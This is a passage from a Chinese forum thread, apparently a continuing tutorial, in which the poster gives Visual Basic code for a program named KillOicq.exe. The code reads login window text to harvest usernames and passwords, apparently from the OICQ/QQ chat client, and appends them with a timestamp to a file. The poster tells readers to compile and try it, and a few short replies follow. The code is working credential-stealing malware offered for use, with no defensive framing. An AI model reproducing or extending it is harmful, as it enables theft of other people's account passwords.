标题:【求助】讨教（待续）
作者:小色猫
时间:8/13 18:57
nameall = nameall + name
i = i + 1
End If
Else
password = GetWinText
If InStr(passwordall, password) Then
i = 0
Else
passwordall = passwordall + password
i = i + 1
End If
End If
End Function
（7）到现在，程序已进行收尾阶段，如果在（4）中判断用户名、密码顺得取出，则保存相关信息。
自定义保存信息的过程，写在 Module1.bas 文件中
Sub SaveFile()
Dim file_num As Integer
Dim allstr As String
allstr = name & Space(5) & password & Space(5) & Now \'保存帐号、密码、启动的时间
file_num = FreeFile
If Dir(filepath) = \"\" Then
Open filepath For Output As #file_num
Else
Open filepath For Append As #file_num
End If
Print #file_num, allstr
Close #file_num
End Sub
（8）到些为此程序全部完成，大家可把它编译为 KillOicq.exe 试一试。
四、程序补充：
（1）我这里用的是遍查窗口的方式，取得窗口标题，大家也可用其他的窗口函数试试，我想应该会更好。
（2）在程序编制（4）中，顺利取得帐号、密码的判断，希望大家多看几遍，多试试，这 ..
下页 上页
回复本帖|发新话题
回复列表 (6)
#1 根本没人看。
[芗城土著 8/13 21:32]
#2 不是没人看是他们看不懂！~！
[小色猫 8/13 23:35]
#3 看来你是看懂了。。我怎么看的 ..
[丸子 8/13 23:58]
#4 你来了啊怎么我发的文章总被删啊
[小色猫 8/14 00:14]
#5 这个问题你已经从市长办公室问 ..
[微蓝 8/14 00:20]
#6 什么呀！！！
看不懂
[被淹的鱼儿 9/1 22:59]
<<下一主题
>>上一主题
返回版块